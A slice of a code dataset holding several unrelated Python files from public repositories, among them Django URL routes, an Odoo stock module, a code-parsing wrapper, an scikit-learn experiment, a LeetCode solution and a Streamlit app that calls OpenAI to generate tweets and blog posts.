url(r\"^profile/$\",user_profile,name='user_profile')\n\n]","repo_name":"YeldaSertt/project","sub_path":"book_store/book_store/login/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":327,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"15182393039","text":"from typing import Generator, Optional, Union\nfrom tokenizecode import CodeParsingOutput, CodeParser, CodeTokenizer, Span, Point\n\n\nclass WrappedParser:\n \"\"\"\n In some languages code can't be parsed without errors unless it is wrapped in a function or a class.\n This class wraps the code in a function or a class and then parses it. Returns the best result with\n the least amount of errors.\n \"\"\"\n def __init__(self, parser: Union[CodeParser, CodeTokenizer]):\n self.parser = parser\n self.wrapper: dict[str, list[str]] = {\n \"java\": [\n \"java_inside_class\",\n \"java_inside_method\",\n ],\n \"php\": [\n \"php_inside_class\",\n ]\n }\n\n def parse(self, code: str, language: str, name: Optional[str] = None) -> Union[CodeParsingOutput, tuple[CodeParsingOutput, str]]:\n if name is None:\n return self._parse_min_errors(code, language)\n elif name == \"none\":\n return self.parser.parse(code, language)\n else:\n wrapper = getattr(self, f\"wrap_{name}\")\n unwrapper = getattr(self, f\"unwrap_{name}\")\n wrapped_code = wrapper(code)\n parsing_output = self.parser.parse(wrapped_code, language)\n return unwrapper(parsing_output)\n\n def _parse_min_errors(self, code: str, language: str) -> tuple[CodeParsingOutput, str]:\n results = [\n (self.parser.parse(code, language), \"none\") # try to parse the code as is\n ]\n parsing_functions = self.wrapper.get(language, [])\n for name in parsing_functions:\n wrapper = getattr(self, f\"wrap_{name}\")\n unwrapper = getattr(self, f\"unwrap_{name}\")\n wrapped_code = wrapper(code)\n parsing_output = self.parser.parse(wrapped_code, language)\n results.append(\n (unwrapper(parsing_output), name)\n )\n return min(results, key=lambda x: x[0].num_errors)\n\n @staticmethod\n def wrap_java_inside_method(code: str) -> str:\n return f\"public class Wrapper {{ public void method() {{{code}}}}}\"\n\n @staticmethod\n def unwrap_java_inside_method(parsing_output: CodeParsingOutput) -> CodeParsingOutput:\n if parsing_output.tree.get_node_data(0) == \"[ERROR]\":\n # then we cant unwrap\n return parsing_output\n tree = parsing_output.tree[26].detach()\n\n if tree.get_node_data(0) != \"[block]\":\n # then we cant unwrap\n return parsing_output # with all its errors\n\n nodes_to_remove = []\n if tree.get_node_data(1) == \"{\":\n nodes_to_remove.append(1)\n if tree.get_node_data(len(tree) - 1) == \"}\":\n nodes_to_remove.append(len(tree) - 1)\n\n if len(nodes_to_remove) > 1:\n tree = tree.delete_nodes(nodes_to_remove)\n elif len(nodes_to_remove) == 1:\n tree = tree.delete_node(nodes_to_remove[0])\n else:\n print(\"no nodes to remove\")\n parsing_output.tree.pprint()\n\n parsing_output.tree = tree\n\n num_bytes_added_before = parsing_output.positions[26].start_byte\n num_bytes_added_before += 1 # for the {\n\n # todo remove the added positions\n new_positions = []\n for i, position in enumerate(parsing_output.positions[26:-2]):\n if i == 1:\n continue # the added bracket {\n\n new_position = Span(\n start_byte=position.start_byte - num_bytes_added_before,\n end_byte=position.end_byte - num_bytes_added_before,\n start_point=Point(\n row=position.start_point.row,\n column=(\n position.start_point.column\n if position.start_point.row > 0\n else position.start_point.column - num_bytes_added_before\n ),\n ),\n end_point=Point(\n row=position.end_point.row,\n column=(\n position.end_point.column\n if position.end_point.row > 0\n else position.end_point.column - num_bytes_added_before\n ),\n ),\n )\n\n new_positions.append(new_position)\n\n parsing_output.positions = new_positions\n\n return parsing_output\n\n @staticmethod\n def wrap_java_inside_class(code: str) -> str:\n return \"public class Wrapper {\" + f\"{code}\" + \"\\n}\"\n\n @staticmethod\n def unwrap_java_inside_class(parsing_output: CodeParsingOutput) -> CodeParsingOutput:\n if parsing_output.tree.get_node_data(0) == \"[ERROR]\":\n # then we cant unwrap\n return parsing_output\n\n tree = parsing_output.tree[10]\n if tree.get_node_data(0) != \"[class_body]\":\n # then we cant unwrap\n return parsing_output # with all its errors\n\n nodes_to_remove = []\n if tree.get_node_data(1) == \"{\":\n nodes_to_remove.append(1)\n if tree.get_node_data(len(tree) - 1) == \"}\":\n nodes_to_remove.append(len(tree) - 1)\n\n if len(nodes_to_remove) > 1:\n tree = tree.delete_nodes(nodes_to_remove)\n elif len(nodes_to_remove) == 1:\n tree = tree.delete_node(nodes_to_remove[0])\n else:\n print(\"no nodes to remove\")\n parsing_output.tree.pprint()\n\n # remove \\n from the end\n tree.node_data[-1] = tree.node_data[-1][:-1]\n\n parsing_output.tree = tree\n num_bytes_added_before = parsing_output.positions[10].start_byte\n\n # todo remove the added positions\n new_positions = []\n for i, position in enumerate(parsing_output.positions[10:-1]):\n if i == 1:\n num_bytes_added_before += 1 # for the {\n continue # the added bracket {\n\n new_position = Span(\n start_byte=position.start_byte - num_bytes_added_before,\n end_byte=position.end_byte - num_bytes_added_before,\n start_point=Point(\n row=position.start_point.row,\n column=(\n position.start_point.column\n if position.start_point.row > 0\n else position.start_point.column - num_bytes_added_before\n ),\n ),\n end_point=Point(\n row=position.end_point.row,\n column=(\n position.end_point.column\n if position.end_point.row > 0\n else position.end_point.column - num_bytes_added_before\n ),\n ),\n )\n\n new_positions.append(new_position)\n\n # remove the last \\n\n last_span = new_positions[-1]\n new_positions[-1] = Span(\n start_byte=last_span.start_byte,\n end_byte=last_span.end_byte - 1,\n start_point=last_span.start_point,\n end_point=Point(\n row=last_span.end_point.row - 1,\n column=last_span.end_point.column,\n ),\n )\n\n parsing_output.positions = new_positions\n return parsing_output\n\n @staticmethod\n def wrap_php_inside_class(code: str) -> str:\n return \"\"\n\n @staticmethod\n def unwrap_php_inside_class(parsing_output: CodeParsingOutput) -> CodeParsingOutput:\n method_tree = parsing_output.tree[12]\n try:\n assert method_tree.get_node_data(0) == \"[method_declaration]\"\n except AssertionError as e:\n parsing_output.tree.pprint()\n print(\"#\" * 100)\n print(\"Fatal could not detect method declaration.\")\n print(parsing_output.num_errors)\n parsing_output.tree.pprint()\n raise e\n\n parsing_output.tree = method_tree\n\n # added only a single row\n\n\n return parsing_output","repo_name":"villmow/tokenizecode","sub_path":"tokenizecode/wrapper.py","file_name":"wrapper.py","file_ext":"py","file_size_in_byte":8099,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"36198811501","text":"from django.contrib import admin\nfrom django.urls import path, re_path\nfrom . import views\n\nurlpatterns = [\n path('', views.home, name='home'),\n path('login/', views.loginPage, name='login'),\n path('logout/', views.logoutUser, name='logout'),\n path('register/', views.registerPage, name='register'),\n path('createcustomerdata/', views.createCustomerDataPage, name='createcustomerdata'),\n path('myaccount/', views.myAccount, name='myaccount'),\n path('bankingAccount/', views.bankingAccount, name='bankingAccount'),\n path('card/', views.card, name='card'),\n path('transaction/', views.transaction, name='transaction'),\n path('card/create', views.cardCreate, name='cardCreate'),\n path('transaction/create', views.createTransaction, name='createTransaction'),\n path('banking-account/create', views.bankingAccountCreate, name='bankingAccountCreate'),\n path('card/delete//', views.deleteCard, name='deleteCard'),\n path('updatecustomerinformation/', views.updateCustomerInformation, name='updatecustomerinformation')\n]\n","repo_name":"cristicrc/bachelors","sub_path":"accounts/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1137,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"23434341859","text":"from odoo import models, fields, api\n\n\nclass ReservedOrder(models.Model):\n _name = 'reserved.order'\n _description = 'Reserved Orders'\n \n name = fields.Char('Name')\n quant_id = fields.Many2one('stock.quant',string = 'Quant')\n move_line_id = fields.Many2one('stock.move.line',string = 'Product Move')\n product_id = fields.Many2one('product.product',string = 'Product',related='move_line_id.product_id')\n product_uom_qty = fields.Float('Qty Reserved',related='move_line_id.product_uom_qty')\n picking_id = fields.Many2one('stock.picking', string = 'Transfer',related='move_line_id.picking_id')\n production_id = fields.Many2one('mrp.production', string = 'Production Order',related='move_line_id.production_id')\n\nclass StockQuant(models.Model):\n \"\"\"Stock Quant\"\"\"\n\n _inherit = 'stock.quant'\n \n \"\"\"reserved_order_names = fields.Char(\n 'Reserved Orders',\n compute = '_compute_reserved_orders'\n )\"\"\"\n\n reserved_order_ids = fields.Many2many(\n 'reserved.order',\n string='Reserved Orders',\n compute = '_compute_reserved_orders'\n )\n \n def _compute_reserved_orders(self):\n for quant in self:\n quant.reserved_order_ids = [(4, False)] \n res_line_ids = quant.product_id\\\n and quant.product_id.reserved_line_ids\n orders = {}\n for line in res_line_ids: \n if quant.lot_id == line.lot_id and quant.location_id == line.location_id: \n trans = line.move_id.raw_material_production_id or line.picking_id or None\n pick_type = trans and trans.picking_type_id or None\n if pick_type and pick_type.code in ['mrp_operation','outgoing','internal']:\n if line.state not in ['cancel']:\n if trans and trans.name in orders:\n orders[trans.id] = trans.name \n else:\n vals = {\n 'quant_id': quant.id,\n 'move_line_id': line.id, \n 'name': trans and trans.name + ': ' + str(line.product_uom_qty), \n }\n reserved_order = self.env['reserved.order'].sudo().create(vals)\n quant.reserved_order_ids = [(4, reserved_order.id)] \n \nclass ProductProduct(models.Model):\n _inherit = 'product.product'\n \n reserved_line_ids = fields.One2many(\n 'stock.move.line',\n 'product_id',\n 'Reserved move lines',\n compute = '_compute_moves'\n )\n \n def _compute_moves(self):\n for product in self:\n domain = [\n ('product_uom_qty','>',0),\n ('product_id','=',product.id),\n ]\n move_lines = self.env['stock.move.line'].search(domain)\n product.reserved_line_ids = [(6, 0, move_lines.ids)]","repo_name":"ecgroupca/ECGroup","sub_path":"qb_stock_quants/models/stock.py","file_name":"stock.py","file_ext":"py","file_size_in_byte":3078,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"31174606957","text":"import json\nimport argparse\nimport wings.planner\nimport wings.component\nimport mint.gather\nimport logging\nimport requests\nimport shutil\nimport configparser\nimport tempfile\n\n'''\nlogging\n'''\nlogger = logging.getLogger()\nhandler = logging.StreamHandler()\nformatter = logging.Formatter(\n '%(asctime)s %(name)-12s %(levelname)-8s %(message)s')\nhandler.setFormatter(formatter)\nlogger.addHandler(handler)\nlogger.setLevel(logging.INFO)\n\n'''\nparse arguments\n'''\nparser = argparse.ArgumentParser()\nparser.add_argument(\"-r\", \"--resource\", help=\"Resource URI\")\nparser.add_argument(\n \"-s\",\n \"--server\",\n default=\"default\",\n help=\"Server configuration (it must exist in the configfile)\")\nargs = parser.parse_args()\n\n\n'''\nread configuration\n'''\nconfig = configparser.ConfigParser()\nconfig.read('config.ini')\n\nif args.server not in config:\n logger.error(\"Server configuration does not exist\")\n exit(1)\n\nserverMint = config['default']['serverMint']\nserverWings = config['default']['serverWings']\nexportWingsURL = config['default']['exportWingsURL']\nuserWings = config['default']['userWings']\npasswordWings = config['default']['passwordWings']\ndomainWings = config['default']['domainWings']\nendpointMint = config['default']['endpointMint']\n\nlogger.info(\"Server mint: %s\", serverMint)\nlogger.info(\"Server wings: %s\", serverWings)\n\nlogger.info(\"Export wings url: %s\", exportWingsURL)\nlogger.info(\"User wings: %s\", userWings)\nlogger.info(\"Domain wings: %s\", domainWings)\nlogger.info(\"Endpoint mint: %s\", endpointMint)\n\n\ndef exists(json, key):\n if key in json:\n return json[key]\n else:\n return None\n\n\ndef createDataWings(datatypes, wings):\n '''\n Create all data objects of a component.\n dataypes: all the datatypes\n wings: object that allow the operations\n '''\n # todo: fix hardcoding\n parent_type_id = 'http://www.wings-workflows.org/ontology/data.owl#DataObject'\n for data_type, value in datatypes.items():\n logger.info(\"Creating data %s\", data_type)\n wings.new_data_type(data_type, parent_type_id)\n\n\ndef generateData(resource, wingsData):\n jsonRequest = {}\n jsonRequest['inputs'] = []\n jsonRequest['outputs'] = []\n\n description = mint.describeURI(resource)\n jsonRequest['rulesText'] = exists(description, 'hasRule')\n jsonRequest['documentation'] = exists(description, 'description')\n jsonRequest = mint.prepareParameters(resource, jsonRequest)\n\n jsonRequest, datatypes = mint.prepareInputOutput(\n resource, jsonRequest, wingsData.dcdom)\n createDataWings(datatypes, wingsData)\n return jsonRequest\n\n\ndef downloadFile(url):\n local_filename = url.split('/')[-1]\n r = requests.get(url, stream=True)\n with open(local_filename, 'wb') as f:\n shutil.copyfileobj(r.raw, f)\n return local_filename\n\n\ndef uploadComponent(resource):\n description = mint.describeURI(resource)\n url = exists(description, 'hasComponentLocation')\n if url:\n return downloadFile(url)\n return None\n\n\ndef createComponent(resource, wingsData, wingsComponent,\n component_type, component_id):\n componentJSON = generateData(resource, wingsData)\n uploadDataPath = uploadComponent(resource)\n wingsComponent.new_component_type(component_type, parent_type)\n wingsComponent.new_component(component_id, component_type)\n wingsComponent.save_component(component_id, componentJSON)\n if uploadDataPath:\n wingsComponent.upload(uploadDataPath, component_id)\n else:\n logger.info(\"Zip file is missing %s\", resource)\n return componentJSON\n\n\nif __name__ == \"__main__\":\n # todo: check if it is a ModelConfiguration\n mint = mint.Gather(serverMint, endpointMint)\n wingsData = wings.ManageData(\n serverWings,\n exportWingsURL,\n userWings,\n domainWings)\n wingsComponent = wings.ManageComponent(\n serverWings, exportWingsURL, userWings, domainWings)\n if not wingsData.login(passwordWings):\n logger.error(\"Login failed\")\n exit(1)\n wingsComponent.session = wingsData.session\n\n resource = args.resource\n resource_name = resource.split('/')[-1]\n component_id = resource_name\n component_type = component_id.capitalize()\n parent_type = None\n componentJSON = createComponent(\n resource,\n wingsData,\n wingsComponent,\n component_type,\n component_id)\n print(json.dumps(componentJSON))\n","repo_name":"KnowledgeCaptureAndDiscovery/wings-api-scripts","sub_path":"mint.py","file_name":"mint.py","file_ext":"py","file_size_in_byte":4424,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"21667657376","text":"from random import random\nimport pandas\nfrom sklearn import linear_model, datasets\nfrom sklearn.model_selection import train_test_split\nimport random\nimport numpy as np\nfrom sklearn.metrics import mean_squared_error, r2_score\nimport matplotlib.pyplot as plt\nfrom sklearn.preprocessing import StandardScaler\nfrom sklearn.svm import LinearSVC\nfrom sklearn.decomposition import PCA, KernelPCA\n\n\nchiavi=[\"age\",\"sex\",\"cp\",\"trestbps\",\"chol\",\"fbs\",\"restecg\",\"thalach\",\"exang\",\"oldpeak\",\"slope\",\"ca\",\"thal\"]\n\n\n#carico file per il dataset\nheart=pandas.read_csv(r\"C:\\Users\\MATTEO\\Desktop\\Programmi\\Python\\ProgettoMachineLearning\\heart.csv\")\n\n#inizializzazione x\nx=heart.drop(\"target\",axis=1)\n\n#inizializzazione y con valore target\ny=heart[:][\"target\"].values\n\n#split in train e test di x e y in 80/20\nx_train,x_test,y_train,y_test=train_test_split(x,y,test_size=0.2)\n\n#print(\"x_train:\\n\",x_train)\n#print(\"x_test:\\n\",x_test)\n#print(\"y_train:\\n\",y_train)\n#print(\"y_test:\\n\",y_test)\n\nscaler = StandardScaler()\nscaler.fit(x_train)\nx_train = scaler.transform(x_train)\nx_test = scaler.transform(x_test)\n\n\n#Contenitori per salvare dati ottenuti dai modelli\nvaloriLinearTest=[]\nvaloriLogisticTest=[]\nvaloriRidgeTest=[]\nvaloriLassoTest=[]\nvaloriSVCTestL1=[]\nvaloriSVCTestL2=[]\n#contenitore per salvare le feature ad ogni iterazione compreso il fitting\nfeatures=[]\n#contenitore con le feature delle iterazioni delmodello lineare senza fitting\nfeaturesLinear=[]\n\n\n#0------------------------------------------------------------------------------------------------------------\ninformazione=0.90\nwhile informazione > 0.75:\n\n #Riduzione dimensionalit�\n pca = PCA()\n pca.fit(x_train)\n cumsum = np.cumsum(pca.explained_variance_ratio_)\n d = np.argmax(cumsum >= informazione) + 1\n\n featuresLinear.append(d)\n print(\"---------Numero dimensionalita' usate {} con una conservazione del {}% dell'informazione -------------\\n\".format(d,informazione*100))\n \n pca = PCA(n_components=d)\n x_reduced_pca = pca.fit_transform(x_train)\n x_reduced_test_pca=pca.fit_transform(x_test)\n\n \n\n\n #1--------------------------------------------------------------------------------------------------------\n #addestro modello lineare\n print(\"MODELLO LINEARE\")\n modelloLin=linear_model.LinearRegression()\n modelloLin.fit(x_reduced_pca,y_train)\n\n val=modelloLin.score(x_reduced_test_pca,y_test)\n valoriLinearTest.append(val)\n print(\"Accuracy score test linear reg:\",val)\n print(\"Accuracy score training linear reg:\",modelloLin.score(x_reduced_pca,y_train))\n print(\"\\n\")\n\n\n #2--------------------------------------------------------------------------------------------------------\n #Addestro modello logistic\n print(\"LOGISTIC REGRESSION\")\n c=0.1\n for i in range(4):\n features.append(d)\n\n modelloLogistic=linear_model.LogisticRegression(C=c)\n modelloLogistic.fit(x_reduced_pca,y_train)\n\n #valutazione \n print(\"C:\",c)\n val=modelloLogistic.score(x_reduced_test_pca,y_test)\n print(\"Accuracy score test logistic reg:\",val)\n valoriLogisticTest.append(val)\n print(\"Accuracy score training logistic reg:\",modelloLogistic.score(x_reduced_pca,y_train))\n print(\"\\n\")\n c=c*10\n\n \n\n\n #3--------------------------------------------------------------------------------------------------------\n #Addesto linear Reg con costo ridge\n print(\"LINEAR REGRESSION COSTO RIDGE\")\n a=0.1\n for i in range(4):\n \n\n modelloRidge=linear_model.Ridge(alpha=a)\n modelloRidge.fit(x_reduced_pca,y_train)\n\n #valutazione \n print(\"ALPHA\",a)\n val=modelloRidge.score(x_reduced_test_pca,y_test)\n print(\"Accuracy score test ridge reg:\",val)\n valoriRidgeTest.append(val)\n print(\"Accuracy score training ridge reg:\",modelloRidge.score(x_reduced_pca,y_train))\n print(\"\\n\")\n a=a*10\n \n\n\n #4--------------------------------------------------------------------------------------------------------\n #Addesto linear Reg con Lasso\n print(\"LINEAR REGRESSION LASSO\")\n a=0.1\n for i in range(4):\n\n modelloLasso=linear_model.Lasso(alpha=i)\n modelloLasso.fit(x_reduced_pca,y_train)\n\n #valutazione \n print(\"ALPHA\",a)\n val=modelloLasso.score(x_reduced_test_pca,y_test)\n print(\"Accuracy score test Lasso reg:\",val)\n valoriLassoTest.append(val)\n print(\"Accuracy score training Lasso reg:\",modelloLasso.score(x_reduced_pca,y_train))\n print(\"\\n\")\n a=a*10\n\n \n\n #5--------------------------------------------------------------------------------------------------------\n #addestro modello SVC\n print(\"SVC\")\n c=0.1\n for i in range(4):\n\n modelloSVCl2=LinearSVC(penalty='l2',C=c)\n #modelloSVCl1=LinearSVC(penalty='l1',C=c)\n modelloSVCl2.fit(x_reduced_pca,y_train)\n #modelloSVCl1.fit(x_reduced_pca,y_train)\n\n #valutazione \n print(\"C\",c)\n val2=modelloSVCl2.score(x_reduced_test_pca,y_test)\n #val1=modelloSVCl1.score(x_reduced_test_pca,y_test)\n print(\"Accuracy score test SVC reg L2:\",val2)\n #print(\"Accuracy score test SVC reg L1:\",val1)\n valoriSVCTestL2.append(val2)\n #valoriSVCTestL1.append(val1)\n print(\"Accuracy score training SVC reg L2:\",modelloSVCl2.score(x_reduced_pca,y_train))\n #print(\"Accuracy score training SVC reg L1:\",modelloSVCl1.score(x_reduced_pca,y_train))\n print(\"\\n\")\n c=c*10\n\n informazione-=0.03\n print(\"\\n\")\n\n\nplt.plot(featuresLinear,valoriLinearTest,color=\"orange\",label=\"Logistic\")\n#plt.plot(features,valoriLogisticTest,color=\"blue\",label=\"Logistic\")\n#plt.plot(features,valoriRidgeTest,color=\"black\",label=\"Ridge\")\n#plt.plot(features,valoriLassoTest,color=\"green\",label=\"Lasso\")\n#plt.plot([0.1,1,10,100],valoriSVCTestL1,color=\"red\")\n#plt.plot(features,valoriSVCTestL2,color=\"yellow\",label=\"SVCL2\")\nplt.xlabel(\"n_features\")\nplt.ylabel(\"Value\")\nplt.legend(loc=\"lower right\", title=\"Legend Title\")\n\n\n#plot della logistic\nfig1 = plt.figure()\nax1 = fig1.add_subplot(111, projection='3d')\nax1.plot_trisurf(features, valoriLogisticTest, [0.1,1,10,100,0.1,1,10,100,0.1,1,10,100,0.1,1,10,100,0.1,1,10,100], color='white', edgecolors='grey', alpha=0.5)\nax1.scatter(features, valoriLogisticTest, [0.1,1,10,100,0.1,1,10,100,0.1,1,10,100,0.1,1,10,100,0.1,1,10,100], c='red')\nax1.set_xlabel('n_features') \nax1.set_ylabel('valori_test_accurency')\nax1.set_zlabel('C_fitting')\n\n\n#plot della ridge\nfig2 = plt.figure()\nax2 = fig2.add_subplot(111, projection='3d')\nax2.plot_trisurf(features, valoriRidgeTest, [0.1,1,10,100,0.1,1,10,100,0.1,1,10,100,0.1,1,10,100,0.1,1,10,100], color='white', edgecolors='grey', alpha=0.5)\nax2.scatter(features, valoriRidgeTest, [0.1,1,10,100,0.1,1,10,100,0.1,1,10,100,0.1,1,10,100,0.1,1,10,100], c='red')\nax2.set_xlabel('n_features') \nax2.set_ylabel('valori_test_accurency')\nax2.set_zlabel('Alpha_fitting')\n\n\n#plot della lasso\nfig3 = plt.figure()\nax3 = fig3.add_subplot(111, projection='3d')\nax3.plot_trisurf(features, valoriLassoTest, [0.1,1,10,100,0.1,1,10,100,0.1,1,10,100,0.1,1,10,100,0.1,1,10,100], color='white', edgecolors='grey', alpha=0.5)\nax3.scatter(features, valoriLassoTest, [0.1,1,10,100,0.1,1,10,100,0.1,1,10,100,0.1,1,10,100,0.1,1,10,100], c='red')\nax3.set_xlabel('n_features') \nax3.set_ylabel('valori_test_accurency')\nax3.set_zlabel('Alpha_fitting')\n\n\n#plot della svc\nfig4 = plt.figure()\nax4 = fig4.add_subplot(111, projection='3d')\nax4.plot_trisurf(features, valoriSVCTestL2, [0.1,1,10,100,0.1,1,10,100,0.1,1,10,100,0.1,1,10,100,0.1,1,10,100], color='white', edgecolors='grey', alpha=0.5)\nax4.scatter(features, valoriSVCTestL2, [0.1,1,10,100,0.1,1,10,100,0.1,1,10,100,0.1,1,10,100,0.1,1,10,100], c='red')\nax4.set_xlabel('n_features') \nax4.set_ylabel('valori_test_accurency')\nax4.set_zlabel('C_fitting')\n\nplt.show()\n\n\n\n","repo_name":"MatteoIng/machineLearning","sub_path":"ProgettoMachineLearning/ProgettoMachineLearning.py","file_name":"ProgettoMachineLearning.py","file_ext":"py","file_size_in_byte":8007,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"18735772579","text":"#\n# @lc app=leetcode id=474 lang=python3\n#\n# [474] Ones and Zeroes\n#\nfrom pprint import pprint\n\n# @lc code=start\nfrom typing import Counter\n\n\nclass Solution:\n def findMaxForm(self, strs: list[str], m: int, n: int) -> int:\n na = {}\n c = Counter(strs[0])\n na[-1] = {(0, 0): 0}\n \n for i in range(len(strs)):\n c = Counter(strs[i])\n na[i] = {}\n\n for k, v in na[i-1].items():\n if k in na[i]:\n na[i][k] = max(v, na[i][k])\n else:\n na[i][k] = v\n\n if k[0]+c['0']>m or k[1]+c['1']>n: continue\n\n key = (k[0]+c['0'], k[1]+c['1'])\n \n if key in na[i]:\n na[i][key] = max(na[i][key], v+1)\n else:\n na[i][key] = v + 1\n\n #pprint(na)\n return max(na[i].values())\n\n \n# @lc code=end\n\nstrs = [\"10\",\"0001\",\"111001\",\"1\",\"0\"]\nm = 5\nn = 3\n\nstrs = [\"10\",\"0\",\"1\"]\nm = 1\nn = 1\n\nstrs = [\"10\",\"0001\",\"111001\",\"1\",\"0\"]\nm = 3\nn = 4\n\nstrs = [\"10\",\"0\",\"1\"]\nm = 1\nn = 1\n\nstrs = [\"00\",\"000\"]\nm = 1\nn = 10\n\nso = Solution()\nr = so.findMaxForm(strs, m, n)\nprint(r)","repo_name":"lancelijade/leetcode","sub_path":"vscode/474.ones-and-zeroes.py","file_name":"474.ones-and-zeroes.py","file_ext":"py","file_size_in_byte":1194,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"29555030756","text":"import os\r\nimport openai\r\nfrom PIL import Image\r\nimport streamlit as st\r\nfrom fpdf import FPDF\r\nimport base64\r\nimport tweepy\r\nimport pyperclip\r\n\r\nst.set_option('deprecation.showfileUploaderEncoding', False)\r\n\r\nconsumer_key = 'your_consumer_key'\r\nconsumer_secret = 'your_consumer_secret'\r\naccess_token = 'your_access_token'\r\naccess_token_secret = 'your_access_token_secret'\r\n\r\n# Authenticate with Twitter API\r\nauth = tweepy.OAuthHandler(consumer_key, consumer_secret)\r\nauth.set_access_token(access_token, access_token_secret)\r\n\r\n# Create API object\r\napi = tweepy.API(auth)\r\n\r\nst.set_page_config(\r\n page_title=\"STEM-FRND\",\r\n page_icon=\"\",\r\n layout=\"wide\",\r\n initial_sidebar_state=\"auto\",\r\n)\r\n\r\n\r\nopenai.api_key = \"\"\r\n\r\n@st.cache_data(persist=True, show_spinner=False)\r\ndef openai_completion(prompt):\r\n response = openai.Completion.create(\r\n model=\"text-davinci-003\",\r\n prompt=prompt,\r\n max_tokens=200,\r\n temperature=1\r\n )\r\n return response['choices'][0]['text']\r\n\r\n@st.cache_data(persist=True, show_spinner=False)\r\ndef tweek(prompt):\r\n response = openai.Completion.create(\r\n model=\"text-davinci-003\",\r\n prompt=prompt,\r\n max_tokens=50,\r\n temperature=1\r\n )\r\n return response['choices'][0]['text']\r\n\r\n@st.cache_data(persist=True, show_spinner=False)\r\ndef blogpost(prompt):\r\n response = openai.Completion.create(\r\n model=\"text-davinci-003\",\r\n prompt=prompt,\r\n max_tokens=4000,\r\n temperature=1\r\n )\r\n return response['choices'][0]['text']\r\n\r\n@st.cache_data(persist=True, show_spinner=False)\r\ndef prompt(prompt):\r\n response = openai.Completion.create(\r\n model=\"text-davinci-003\",\r\n prompt=prompt,\r\n max_tokens=4000,\r\n temperature=1\r\n )\r\n return response['choices'][0]['text']\r\n\r\n@st.cache(persist=True,allow_output_mutation=True,show_spinner=False,suppress_st_warning=True)\r\ndef openai_image(prompt):\r\n response = openai.Image.create(\r\n prompt=prompt,\r\n n=1,\r\n size=\"256x256\"\r\n )\r\n image_url = response['data'][0]['url']\r\n return image_url\r\n\r\ndef story(prompt):\r\n response = openai.Image.create(\r\n prompt=prompt,\r\n n=1,\r\n size=\"256x256\"\r\n )\r\n image_url = response['data'][0]['url']\r\n return image_url\r\n\r\ndef comic(prompt):\r\n response = openai.Image.create(\r\n prompt=prompt,\r\n n=1,\r\n size=\"256x256\"\r\n )\r\n image_url = response['data'][0]['url']\r\n return image_url\r\ntop_image = Image.open('static/banner_top.png')\r\n\r\nst.sidebar.image(top_image,use_column_width='auto')\r\nwith st.sidebar:\r\n st.write(\"Generate Tweet: Generates tweet based on info displayed in textbox. \\n Generate Image: Develops optionally AI queried image to help illustrate concept. \\n Generate Blog Post: Produces blog post explaining topic in detail and search engine optimized. \\n Generate DALL-E: Develops query to best illustrate concept when entered into DALL-E via AI.\")\r\n\r\n\r\nst.markdown(\"

    STEM-FRND

    \", unsafe_allow_html=True)\r\n\r\ninput_text = st.text_area(\"What should I write about?\",height=50)\r\ntweet_pressed = st.button(\"Generate Tweet\")\r\nif tweet_pressed:\r\n tweek1 = tweek(\"write a tweet\" + input_text)\r\n st.success(tweek1)\r\n\r\nblog_pressed = st.button(\"Generate Blog\")\r\nif blog_pressed:\r\n blogpost1 = blogpost(\"create a blog post that is in depth and SEO optimized, do not use em dashes\" + input_text)\r\n st.success(blogpost1)\r\n\r\nprompt_pressed = st.button(\"Generate Dall-E Prompt\")\r\nif prompt_pressed:\r\n prompt1 = prompt(\"create a prompt for Dall-E to generate an image using this input, and do not mention Dall-E in your response, but do mention the original input\" + input_text)\r\n st.success(prompt1)\r\n pyperclip.copy(prompt1)\r\nspam = pyperclip.paste()\r\n\r\neducation_pressed = st.button(\"Generate Education Article\")\r\nif education_pressed:\r\n education1 = openai_completion(input_text)\r\n st.success(education1)\r\n\r\ninput_text = st.text_area(\"What should I draw?\", spam ,height=50,)\r\nimage_button = st.button(\"Generate Custom Image\")\r\nif image_button:\r\n image_url = openai_image(input_text)\r\n st.image(image_url, caption='Courtesy of Charlie, your STEM-FRND')\r\n\r\ncgi_button = st.button(\"Generate 3D Image\")\r\nif cgi_button:\r\n story1 = story(\"Give me a 3d render\" + input_text)\r\n st.image(story1, caption='Courtesy of Charlie, your STEM-FRND')\r\n\r\ncomic_button = st.button(\"Generate Comic-Book-Style art\")\r\nif comic_button:\r\n comic1 = comic(\"Draw in comic book art syle, with popping colors\" + input_text)\r\n st.image(comic1, caption='Courtesy of Charlie, your Amazing STEM-FRND')\r\n\r\n\r\nreport_text = st.text_input(\"Report Text\")\r\n\r\n\r\nexport_as_pdf = st.button(\"Export Report\")\r\n\r\ndef create_download_link(val, filename):\r\n b64 = base64.b64encode(val) # val looks like b'...'\r\n return f'Download file'\r\n\r\nif export_as_pdf:\r\n pdf = FPDF()\r\n pdf.add_page()\r\n pdf.set_font('Arial', 'B', 16)\r\n pdf.multi_cell(180, 10, report_text)\r\n \r\n \r\n html = create_download_link(pdf.output(dest=\"S\").encode(\"latin-1\"), \"test\")\r\n\r\n st.markdown(html, unsafe_allow_html=True)\r\n\r\nexport_as_tweet = st.button(\"Tweet it!\")\r\n\r\nif export_as_tweet:\r\n st.text(\"Done\")\r\n\r\nexport_as_insta = st.button(\"Post it!\")\r\n\r\nif export_as_insta:\r\n st.text(\"Done\")\r\n","repo_name":"granti2/STEM-FRND","sub_path":"STEM-FRND.py","file_name":"STEM-FRND.py","file_ext":"py","file_size_in_byte":5520,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"12909340263","text":"#!/home/cees/.virtualenvs/ceasaro_py/bin/python\nimport os\nimport sys\n\n# add the parent dir of this script to the python path\nsys.path.append(os.path.join(os.path.dirname(__file__), os.pardir))\n\nfrom SAS.scrape.kvk_scrape import search_kvk\nfrom SAS.scrape.detelefoongids_scrape import 